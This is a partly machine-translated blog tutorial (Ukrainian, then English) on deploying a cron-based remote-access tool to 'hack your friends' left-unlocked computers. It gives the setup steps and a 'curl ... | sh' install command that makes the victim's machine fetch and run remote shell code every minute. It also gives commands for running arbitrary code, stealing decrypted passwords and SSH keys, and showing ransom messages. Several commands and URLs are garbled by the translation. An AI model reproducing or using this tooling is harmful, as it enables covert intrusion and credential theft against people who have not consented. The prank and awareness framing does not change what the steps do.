Як зламати своїх друзів

Мої друзі часто залишають комп’ютери відкритими та розблокованими. Я кажу їм, що, мабуть, їм слід звикнути блокувати комп’ютери, але вони мене не слухають. Тож я створив простий проект, щоб зламати своїх друзів і показати їм важливість комп’ютерної безпеки.

Мені потрібно лише зачекати, поки вони на кілька секунд залишать свій комп’ютер розблокованим, відкриють термінал і вводять одну коротку команду.

Це воно! Їхній комп’ютер зараз заражений, і я можу віддалено виконувати будь-які команди на цьому комп’ютері. Досить солодко, так? А може шокує?

Злом незаконний. Зокрема:

«Навмисний доступ до [комп’ютера] без дозволу або перевищення дозволеного доступу» - Закон про комп’ютерне шахрайство та зловживання (18 USC 1030)

Тож майте на увазі, що мета цієї статті - показати вам, наскільки легко було б когось, хто має погані наміри, зламати вас, щоб уникнути хакерства.

Для того, щоб зруйнувати ваше життя, не потрібен якийсь хакерський геній - будь-який „скрипт”, який може отримати фізичний доступ до вашого комп’ютера, може скомпрометувати вас, завантаживши сценарій, що містить лише 50 рядків коду.

Отримання налаштування

Весь код для цього проекту живе у цьому сховищі, якщо ви хочете скористатися безпосередньо, але я поясню, як це все працює нижче.

По- перше, вам просто необхідно клонувати репозиторій, встановити його залежності, і символічними посиланнями халтуру інтерфейс командного рядка (CLI) інструмент.

git clone //github.com/ccorcos/hack.gitgit remote remove origincd hacknpm installnpm link

Далі вам потрібно налаштувати Heroku для розміщення скриптів, які будуть запущені на вашій машині друзів. Якщо ви ніколи раніше не користувались Heroku, зареєструйтесь тут (це безкоштовно!) Та налаштуйте їх інструмент CLI на своїй машині.

brew install heroku-toolbeltheroku login

Тепер у хап- репо створіть додаток Heroku з легким запам’ятовуваним іменем. Я використовую хакер-чет.

heroku create hacker-chet

Потім потрібно виконати команду, щоб виконати невелику настройку. Все, що він насправді робить, це отримати кореневу URL-адресу для вашого веб-сайту Heroku та розмістити її у своєму package.json . Таким чином сервер може вводити URL-адресу програми в сценарії оболонки.

npm run init

Ви можете запустити сервер локально, якщо хочете зламати себе та перевірити ситуацію.

npm start

Або ви можете розгорнути на Heroku.

npm run deploy

Тепер ви готові зламати!

Hack API

Принадність цієї програми полягає в тому, що для того, щоб розпочати злом когось, вам просто потрібно виконати одну команду на їх машині.

curl /hack | sh

ROOT_URL - це конкретний шлях до вашої програми. Коли ви запускаєте сервер локально, це буде localhost: 5000, а при розгортанні до Heroku це буде щось на зразок .herokua pp.com.

Це робить налаштування завдання cron - "хронологічної роботи", яка повторно виконує завдання в певний час - для пінгування кінцевої точки / env / live щохвилини та передачі результату до sh . Це насправді досить просто! І Heroku надає вам HTTPS безкоштовно, так що його "безпечний", так?

Після того, як ви зламали свого друга, ви можете зробити все інше за допомогою інструменту командного рядка зі свого комп’ютера.

Інструмент хак має концепцію різних хакерських середовищ. Коли ви зламаєте когось за допомогою кінцевої точки / hack , ця людина починає жити в середовищі. І для кожного середовища ви можете запускати безліч різних команд. Я продемонструю все за допомогою невеликого покрокового керівництва.

Далі буде переписано сценарій оболонки живого середовища, щоб виконати таку команду, яка вголос скаже «Я спостерігаю за тобою».

hack live exec "say 'I\'m watching you'"

Ну, це поки не буде працювати, вам все одно доведеться повторно розгорнути свій додаток Heroku.

hack deploy

Тепер зачекайте наступної хвилини і спостерігайте, як комп’ютер вашого друга пінгує ваш сервер, записуючи журнали сервера.

hack logs

Вся суть середовищ полягає в тому, що ви можете одночасно зламати кількох людей. Щоб ізолювати людей у ​​різних середовищах, потрібно просто змінити ім’я.

hack live rename jon

Наступного разу, коли живе середовище буде пінгуватися, воно перепише завдання cron, щоб замість цього почати пінгувати середовище jon .

Ви можете зробити все те саме, просто змінивши аргумент середовища.

hack jon exec "say 'hello jon'"

Тепер, якщо вам було достатньо розваг за день, і вечірка закінчилася, ви можете забути Джона і запевнити його, що ви його «зламали».

hack jon forget

Це видалить завдання cron зі свого комп’ютера. Або ви можете просто перевести це середовище в сплячий режим, щоб ви могли відновити його пізніше.

hack jon interval 1d

Now, rather than pinging your server every minute (the default), it will ping every day at midnight. And when you want to wake it back up, you can change the interval back to every minute and the next day, you’re good to go!

hack jon interval 1m

Some other fun things to do are setting up additional cron jobs. Here’s how you can wake your friend up at 6am every morning to remind him about computer security.

hack jon cron "0 6 * * * say 'good morning jon, remember what I told you about locking your computer?'"

P.S. If you don’t remember how cron jobs work, this is a great resource. It pretty much all comes down to this little diagram.

* * * * *| | | | || | | | || | | | +---- Day of the Week (range: 1-7, 1 standing for Monday)| | | +------ Month of the Year (range: 1-12)| | +-------- Day of the Month (range: 1-31)| +---------- Hour (range: 0-23)+------------ Minute (range: 0-59)

One of my favorites is the desktop preset which will download an image from a given URL and set it as the background photo.

hack jon preset desktop //i.imgur.com/5FC2r9R.jpg

And if you’ve written a ton of cron jobs and you don’t know what’s on there anymore, you can use the dump command.

hack jon dump "crontab -l"

Now whip open your logs and you’ll see the output on the next ping. This is actually much more sinister now that you can get information back. If you wanted to be more nefarious, you can search for decrypted passwords or steal their ssh keys.

hack jon preset passwordshack jon preset ssh

But if you just want to give him a good old-fashioned scare, send him a ransom message!

hack jon preset ransom "Hello Jon, I told you not to leave your computer unlocked."

Lastly, if you find yourself adding a bunch of cron jobs and just want to start over, reset is here to help.

hack jon reset

Now go have (responsible) fun with this thing and let me know what your favorite pranks are by submitting a pull request with a new command or preset!

Happy Hacking!